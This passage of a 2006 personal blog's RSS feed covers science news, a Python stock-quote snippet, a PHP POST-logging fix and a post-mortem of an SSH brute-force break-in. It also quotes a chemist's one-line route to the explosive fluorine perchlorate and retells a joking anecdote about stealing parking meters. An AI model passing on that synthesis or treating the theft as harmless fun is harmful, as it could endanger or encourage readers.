    &lt;a href=&quot;http://www.nytimes.com/2006/11/14/science/14WAVE.html?_r=2&amp;adxnnl=1&amp;oref=slogin&amp;ref=science&amp;pagewanted=all&amp;adxnnlx=1163963641-S7r9zqCNBm7mo2cgTXsMag&quot;&gt;&lt;div&gt;&lt;img src=&quot;http://graphics8.nytimes.com/images/2006/11/14/science/wave.600.jpg&quot; alt=&quot;The Fenambosy chevron near the tip of Madagascar&quot;&gt;&lt;div style=&quot;font-style: italic; margin-left: 6em&quot;&gt;&lt;p&gt;The Fenambosy chevron near the tip of Madagascar&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;br /&gt;
&lt;blockquote cite=&quot;http://www.nytimes.com/2006/11/14/science/14WAVE.html?_r=2&amp;adxnnl=1&amp;oref=slogin&amp;ref=science&amp;pagewanted=all&amp;adxnnlx=1163963641-S7r9zqCNBm7mo2cgTXsMag&quot;&gt;About 900 miles southeast from the Madagascar chevrons, in deep ocean, is Burckle crater, which Dr. Abbott discovered last year. Although its sediments have not been directly sampled, cores from the area contain high levels of nickel and magnetic components associated with impact ejecta.&lt;br /&gt;
&lt;br /&gt;
Burckle crater has not been dated, but Dr. Abbott estimates that it is 4,500 to 5,000 years old.&lt;br /&gt;
&lt;br /&gt;
It would be a great help to the cause if the National Science Foundation sent a ship equipped with modern acoustic equipment to take a closer look at Burckle, Dr. Ryan said. “If it had clear impact features, the nonbelievers would believe,” he said.&lt;br /&gt;
&lt;br /&gt;
But they might have more trouble believing one of the scientists, Bruce Masse, an environmental archaeologist at the Los Alamos National Laboratory in New Mexico. He thinks he can say precisely when the comet fell: on the morning of May 10, 2807 B.C.&lt;br /&gt;
&lt;br /&gt;
Dr. Masse analyzed 175 flood myths from around the world, and tried to relate them to known and accurately dated natural events like solar eclipses and volcanic eruptions. Among other evidence, he said, 14 flood myths specifically mention a full solar eclipse, which could have been the one that occurred in May 2807 B.C.&lt;br /&gt;
&lt;br /&gt;
Half the myths talk of a torrential downpour, Dr. Masse said. A third talk of a tsunami. Worldwide they describe hurricane force winds and darkness during the storm. All of these could come from a mega-tsunami.&lt;br /&gt;
&lt;br /&gt;
Of course, extraordinary claims require extraordinary proof, Dr. Masse said, “and we’re not there yet.”&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Sandra Blakeslee&lt;/cite&gt;, &lt;a href=&quot;http://www.nytimes.com/2006/11/14/science/14WAVE.html?_r=2&amp;adxnnl=1&amp;oref=slogin&amp;ref=science&amp;pagewanted=all&amp;adxnnlx=1163963641-S7r9zqCNBm7mo2cgTXsMag&quot;&gt;Ancient Crash, Epic Wave&lt;/a&gt;&lt;br /&gt;The New York Times 14. Nov. 2006&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sun, 19 Nov 2006 19:15:54 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/150-guid.html</guid>
    
</item>
<item>
    <title>Viva Sawzall!</title>
    <link>http://wcw.bignose.org/index.php?/archives/138-Viva-Sawzall!.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/138-Viva-Sawzall!.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=138</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=138</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://www.milwaukee-et.com/int/int_news.nsf/frmMedia?ReadForm&quot;&gt;&lt;img src=&quot;http://wcw.bignose.org/images/sawzall.ad.snip2.png&quot; alt=&quot;Milwaukee Electric Tool Sawzall advertisement, 2004&quot;&gt;&lt;/a&gt;&lt;blockquote cite=&quot;http://thedailywtf.com/forums/permalink/99408/99504/ShowThread.aspx#99504&quot;&gt;You want reciprocating/sabre/sawzall stories, you got &#039;em.&lt;br /&gt;
&lt;br /&gt;
So, there I am in the early &#039;90s, see, living in a converted garage space (2400 sq feet, cement floor, rollup door, builtin lofts) with a couple roommates, including a kid whose father was a sleazy contractor of some repute.  One day he finds a parking meter loose in the sidewalk cement, so he hoists it, brings it home, sticks a metal-cutting blade in the Sawzall, and voila -- $40 in change!  The change, for the record, was actually in a hard plastic cylinder housing within the metal, but the saw went through that like butter.  The metal actually took a while.&lt;br /&gt;
&lt;br /&gt;
He was 19, maybe.  You can&#039;t blame him for repeating this trick every time he found a loose parking meter.  The noise of such a saw cutting through the surprisingly limp metal housing of a parking meter became a regular accompaniment to our afternoons of drinking beer and avoiding all pretense of responsibility.  Good fun had by all, punctuated by splashes of small change on oily cement flooring.&lt;br /&gt;
&lt;br /&gt;
One day we were meeting for breakfast, and he saw such a meter.  &quot;Hold on,&quot; he said, hoisted it out of the sidewalk, and turned back to his late-&#039;60s VW bus, meter slung jauntily under one arm.&lt;br /&gt;
&lt;br /&gt;
It helps at this point in the story to know we lived in Oakland and were eating breakfast in Berkeley.&lt;br /&gt;
&lt;br /&gt;
A crusty, disheveled old fellow on the sidewalk looked up at him and sees what he is doing.  &quot;Spare change?&quot; he croaks out hopefully.&lt;br /&gt;
&lt;br /&gt;
&quot;Steal your own damned parking meter,&quot; is the hardhearted reply.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Wcw&lt;/cite&gt;, &lt;a href=&quot;http://thedailywtf.com/forums/permalink/99408/99504/ShowThread.aspx#99504&quot;&gt;It Doubles as a Saw Horse&lt;/a&gt;, 3. Nov. 2006&lt;/p&gt;  
    </content:encoded>

    <pubDate>Wed, 08 Nov 2006 02:34:36 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/138-guid.html</guid>
    
</item>
<item>
    <title>More programming for dilettantes</title>
    <link>http://wcw.bignose.org/index.php?/archives/72-More-programming-for-dilettantes.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/72-More-programming-for-dilettantes.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=72</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=72</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://dirk.eddelbuettel.com/code/yahooquote.html&quot;&gt;&lt;img src =&quot;http://lh3.ggpht.com/wcwhiner/SKJrZwQ5HvI/AAAAAAAAAbk/wlBi5a0dEKI/s800/yfd.png&quot; alt=&quot;A quick code snippet to fetch Yahoo Finance data&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The above snippet plus Gnumeric plus &lt;a href=&quot;http://dirk.eddelbuettel.com/code/yahooquote.html&quot;&gt;Eddelbuettel&#039;s crib sheet&lt;/a&gt; should be enough to fetch a reasonable amount of very basic data on US equities from the good graces of &lt;a href=&quot;http://finance.yahoo.com/&quot;&gt;Yahoo Finance&lt;/a&gt; into your gnome-office spreadsheet.&lt;br /&gt;
&lt;br /&gt;
Error handling and any not-purely-numerical responses are left to the reader.&lt;br /&gt;
&lt;br /&gt;
Python code snippet&lt;pre&gt;def func_yfd(ticker, code):&lt;br /&gt;        url = &quot;http://quote.yahoo.com/d/quotes.csv?s=&quot; + ticker + &quot;&amp;f=&quot; + code&lt;br /&gt;        urlData = urllib2.urlopen(url)&lt;br /&gt;        dataLine = urlData.readline()&lt;br /&gt;        numericRegex = r&quot;(\d+\.\d+)&quot;&lt;br /&gt;        numericMatch = re.search(numericRegex, dataLine)&lt;br /&gt;        datum = float(numericMatch.group(1))&lt;br /&gt;        return datum&lt;/pre&gt;  
    </content:encoded>

    <pubDate>Sun, 24 Sep 2006 23:40:41 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/72-guid.html</guid>
    
</item>
<item>
    <title>Name ist Schall und Rauch, umnebelnd Himmelsglut</title>
    <link>http://wcw.bignose.org/index.php?/archives/47-Name-ist-Schall-und-Rauch,-umnebelnd-Himmelsglut.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/47-Name-ist-Schall-und-Rauch,-umnebelnd-Himmelsglut.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=47</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=47</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://www.newyorker.com/printables/fact/060828fa_fact2&quot;&gt;&lt;img src=&quot;http://newsimg.bbc.co.uk/media/images/42000000/jpg/_42000540_perel_icm_203.jpg&quot; alt=&quot;Grigory Perelman, early &#039;90s&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote cite=&quot;http://news.bbc.co.uk/2/hi/science/nature/5274040.stm&quot;&gt;Grigory Perelman, the Russian who seems to have solved one of the hardest problems in mathematics, has declined one of the discipline&#039;s top awards.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;BBC News, &lt;/cite&gt;&lt;a href=&quot;http://news.bbc.co.uk/2/hi/science/nature/5274040.stm&quot;&gt;22 August 2006&lt;/a&gt;&lt;/p&gt;&lt;blockquote cite=&quot;http://www.newyorker.com/printables/fact/060828fa_fact2&quot;&gt;Perelman repeatedly said that he had retired from the mathematics community and no longer considered himself a professional mathematician. He mentioned a dispute that he had had years earlier with a collaborator over how to credit the author of a particular proof, and said that he was dismayed by the discipline’s lax ethics. “It is not people who break ethical standards who are regarded as aliens,” he said. “It is people like me who are isolated.” We asked him whether he had read Cao and Zhu’s paper. “It is not clear to me what new contribution did they make,” he said. “Apparently, Zhu did not quite understand the argument and reworked it.” As for Yau, Perelman said, “I can’t say I’m outraged. Other people do worse. Of course, there are many mathematicians who are more or less honest. But almost all of them are conformists. They are more or less honest, but they tolerate those who are not honest.”&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Sylvia Nasar and David Gruber&lt;/cite&gt;, &lt;a href=&quot;http://www.newyorker.com/printables/fact/060828fa_fact2&quot;&gt;The New Yorker&lt;/a&gt;&lt;/p&gt;&lt;blockquote cite=&quot;http://www.gutenberg.org/dirs/etext00/7fau110.txt&quot;&gt;Name ist Schall und Rauch,&lt;br /&gt;
Umnebelnd Himmelsglut.&lt;/blockquote&gt;&lt;p style=&quot;text-align: right; margin-right: 5%&quot;&gt;&lt;cite&gt;Johann Wolfgang von Goethe, &lt;/cite&gt;&lt;a href=&quot;http://www.gutenberg.org/dirs/etext00/7fau110.txt&quot;&gt;Faust: Der Tragödie erster Teil&lt;/a&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Sun, 27 Aug 2006 16:40:42 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/47-guid.html</guid>
    
</item>
<item>
    <title>A PHP trick for dilettantes</title>
    <link>http://wcw.bignose.org/index.php?/archives/36-A-PHP-trick-for-dilettantes.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/36-A-PHP-trick-for-dilettantes.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=36</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=36</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://php.net/error_log&quot;&gt;&lt;img src=&quot;http://lh3.ggpht.com/wcwhiner/SKJrtJq03iI/AAAAAAAAAd8/c_TYRhyCSTY/s800/phplog.s.png&quot; alt=&quot;a quick one-liner to log POST variables&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So, say years ago you spent a few hours to make your &lt;a href=&quot;https://www.bignose.org/~bakunin/browse.php&quot;&gt;record collection searchable&lt;/a&gt; with &lt;a href=&quot;http://php.net/&quot;&gt;PHP&lt;/a&gt; and &lt;a href=&quot;http://www.postgresql.org/&quot;&gt;Postgres&lt;/a&gt;.  A dabbler, a &lt;a href=&quot;http://m-w.com/dictionary/dilettante&quot;&gt;dilettante&lt;/a&gt;, you do the bare minimum and don&#039;t worry about &lt;a href=&quot;http://www.sitepoint.com/print/php-security-blunders&quot;&gt;PHP security&lt;/a&gt; or take the advice to &lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.3&quot;&gt;use POST instead of GET&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Then let&#039;s say you start noticing POSTs in your logs.  Submitted POST variables, though, do not of themselves show up.  Recently &lt;a href=&quot;http://www.bignose.org/blog/index.php?/archives/19-Rooted.html&quot;&gt;rooted&lt;/a&gt;, you perhaps would like to see those variables.  &lt;a href=&quot;http://www.securiteam.com/securityreviews/5DP0N1P76E.html&quot;&gt;SQL injection&lt;/a&gt; attempts?&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.google.com/search?q=log+post-variables+apache&quot;&gt;Google&lt;/a&gt; just sends you to a &lt;a href=&quot;http://www.webmasterworld.com/forum39/791.htm&quot;&gt;pay site&lt;/a&gt;, so with a sigh I went to the docs and wrote the single-line solution visible above.  If there is a POST array, then &lt;blockquote&gt;error_log(http_build_query($_POST));&lt;/blockquote&gt;&lt;a href=&quot;http://php.net/error_log&quot;&gt;error_log()&lt;/a&gt; logs its input to apache&#039;s error log, and &lt;a href=&quot;http://www.php.net/http_build_query&quot;&gt;http_build_query()&lt;/a&gt; turns the POST array into something easy to read.&lt;br /&gt;
&lt;br /&gt;
Two builtin functions, one line, and voila.  Maybe someday this post will come up in another dilettante&#039;s search for the same solution.&lt;br /&gt;
&lt;br /&gt;
The punchline?  Here is the first log extract for this symptom:&lt;blockquote&gt;[Tue Aug 15 19:59:15 2006] [error] search_term=senior+sex+gallery&amp;fst=A&lt;/blockquote&gt;Holy hannah, that&#039;s anticlimactic.&lt;br /&gt;
&lt;br /&gt;
[insert bad-joke drum sound here]&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Wed, 16 Aug 2006 05:40:50 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/36-guid.html</guid>
    
</item>
<item>
    <title>Comments spam</title>
    <link>http://wcw.bignose.org/index.php?/archives/21-Comments-spam.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/21-Comments-spam.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=21</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=21</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://en.wikipedia.org/wiki/Blog_spam&quot;&gt;&lt;img src=&quot;http://media.hormel.com/images/refimages/spam%20press%20kit/SpamAroundtheWorldWeb.jpg&quot; alt=&quot;Spam around the world, P+C Hormel&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Yesterday I got my first comments spam, three in fact, posted from an IP registered to the &lt;a href=&quot;http://www.embc.org.uk/&quot;&gt;East Midlands Broadband Consortium&lt;/a&gt; (&quot;Internet access for schools&quot;) and promoting a surfeit of dull-sounding quadruple- (yes, quadruple) x sites all at a domain, this registered to what are undoubtedly &lt;a href=&quot;http://www.whois.net/whois.cgi2?d=sexadultxxxx.com&quot;&gt;standup Russian business people&lt;/a&gt; whom I would not presume to annoy.&lt;br /&gt;
&lt;br /&gt;
Luckily, no readers saw said comments spam, since &lt;a href=&quot;http://www.s9y.org&quot;&gt;Serendipity&lt;/a&gt; ships with some reasonably clever antispam measures plugged in by default.&lt;br /&gt;
&lt;br /&gt;
Woo, er, hoo.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Hee, hee, hee: the failed comments just got hit by an &lt;a href=&quot;http://www.dnsstuff.com/tools/lookup.ch?name=ns.sexadultxxxx.com&amp;type=A&quot;&gt;IP&lt;/a&gt; that resolves as ns.[dull-sounding quadruple-x domain].com.  Oh, how transparent!&lt;br /&gt;
&lt;br /&gt;
On the downside, I may have pissed off some Russians.&lt;br /&gt;
&lt;br /&gt;
Save me.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update 2&lt;/strong&gt; 7. August 2006&lt;br /&gt;
&lt;br /&gt;
The IP hall of shame for attempted comments spam on this lone post alone (which should warn me off entitling notes &lt;em&gt;Crack spreads&lt;/em&gt;, huh?) now includes:&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=62.183.50.164&quot;&gt;62.183.50.164&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=72.232.0.234&quot;&gt;72.232.0.234&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=72.232.0.242&quot;&gt;72.232.0.242&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=72.232.214.98&quot;&gt;72.232.214.98&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=72.232.217.74&quot;&gt;72.232.217.74&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=125.243.163.66&quot;&gt;125.243.163.66&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=125.244.132.130&quot;&gt;125.244.132.130&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=201.0.4.148&quot;&gt;201.0.4.148&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=202.159.212.165&quot;&gt;202.159.212.165&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=203.131.177.250&quot;&gt;203.131.177.250&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=213.249.155.233&quot;&gt;213.249.155.233&lt;/a&gt;&lt;br /&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dnsstuff.com/tools/whois.ch?ip=217.218.114.121&quot;&gt;217.218.114.121&lt;/a&gt;&lt;/ul&gt;And the hits &lt;em&gt;just keep coming&lt;/em&gt;, too.  Whew.&lt;br /&gt;
&lt;br /&gt;
NB, update from &lt;a href=&quot;http://www.bignose.org/blog/index.php?/archives/20-Crack-spreads.html&quot;&gt;Crack spreads&lt;/a&gt;&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Sat, 29 Jul 2006 20:54:50 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/21-guid.html</guid>
    
</item>
<item>
    <title>Rooted</title>
    <link>http://wcw.bignose.org/index.php?/archives/19-Rooted.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/19-Rooted.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=19</wfw:comment>

    <slash:comments>4</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=19</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;a href=&quot;http://mixter.void.ru/crack.txt&quot;&gt;&lt;img src=&quot;http://lh3.ggpht.com/wcwhiner/SKJr9TGTzFI/AAAAAAAAAfk/s0Q7tojj-6M/s800/brutessh.png&quot; alt=&quot;brutessh in /var/log/authlog&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://bignose.org&quot;&gt;bignose.org&lt;/a&gt; was &lt;a href=&quot;http://mixter.void.ru/crack.txt&quot;&gt;rooted&lt;/a&gt;, probably around 2AM Pacific on 13. July 2006.  Intrusion almost certainly was due to my own sloppiness.  I am reasonably certain that my open ssh port, guessable passwords, and laxness in checking logs allowed someone using the &lt;a href=&quot;http://www.giac.org/practical/GCIH/Bill_Thompson_GCIH.pdf&quot;&gt;brutessh2&lt;/a&gt; script to get in.&lt;br /&gt;
&lt;br /&gt;
It&#039;s pretty galling to fall prey to a braindead brute-force attack.&lt;br /&gt;
&lt;br /&gt;
Despite my installation of &lt;a href=&quot;http://debian.org/&quot;&gt;Debian&lt;/a&gt; likely having been secure but for its mildly inept administration (read: me), I have installed &lt;a href=&quot;http://www.openbsd.org/&quot;&gt;OpenBSD&lt;/a&gt; nevertheless.  While my passwords are no longer guessable, I have also turned off ssh password authentication entirely in favor of the much-superior &lt;a href=&quot;http://www.csua.berkeley.edu/ssh-howto.html#keys&quot;&gt;public-key alternative&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
If nothing else, it keeps this stuff out of my log files.&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Tue, 25 Jul 2006 22:46:41 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/19-guid.html</guid>
    
</item>
<item>
    <title>The gas, meanwhile, blows up</title>
    <link>http://wcw.bignose.org/index.php?/archives/13-The-gas,-meanwhile,-blows-up.html</link>
            <category>Science</category>
    
    <comments>http://wcw.bignose.org/index.php?/archives/13-The-gas,-meanwhile,-blows-up.html#comments</comments>
    <wfw:comment>http://wcw.bignose.org/wfwcomment.php?cid=13</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://wcw.bignose.org/rss.php?version=2.0&amp;type=comments&amp;cid=13</wfw:commentRss>
    

    <author>wcw@bignose.org (Wcw)</author>
    <content:encoded>
    &lt;strong&gt;NB&lt;/strong&gt; - originally posted 20060530&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.spacedaily.com/news/pollution-04b.html&quot;&gt;&lt;img src=&quot;http://lh6.ggpht.com/_8FP0ZXQNIbc/SKJtDjshIYI/AAAAAAAAAiQ/zt5ZjhCPYd4/s200/rocket-fuel-soil-pollution-bg.jpg&quot; alt=&quot;Kablooie.&quot;&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;p&gt;Perhaps the most unnerving derivative I know of is fluorine perchlorate. That one was reported in 1947 (JACS 69, 677) by Rohrback and Cady. It&#039;s easily synthesized, if you&#039;re tired of this earthly existence, by passing fluorine gas over concentrated perchloric acid. You get a volatile liquid that boils at about -16 C and freezes at -167.3, which exact value I note because the authors nearly blew themselves up trying to determine it. The liquid detonated each time it began to crystallize, which is certainly the mark of a compound with a spirited nature.&lt;br /&gt;
&lt;br /&gt;
The gas, meanwhile, blows up given any chance at all - contact with a rough surface, with tiny specks of any type of organic matter, that sort of thing. The paper notes that it has &quot;a sharp acid-like odor, and irritates the throat and lungs, producing prolonged coughing&quot;. My sympathies go out to whichever one of them discovered that.&lt;/blockquote&gt;&lt;p&gt;- &lt;cite&gt;Derek Lowe&lt;/cite&gt;, &lt;a href=&quot;http://pipeline.corante.com/archives/2006/05/30/things_i_wont_work_with_frisky_perchlorates.php&quot;&gt;In The Pipeline&lt;/a&gt;&lt;br /&gt;
  
    </content:encoded>

    <pubDate>Tue, 25 Jul 2006 19:59:16 +0000</pubDate>
    <guid isPermaLink="false">http://wcw.bignose.org/index.php?/archives/13-guid.html</guid>
    
</item>

</channel>
</rss>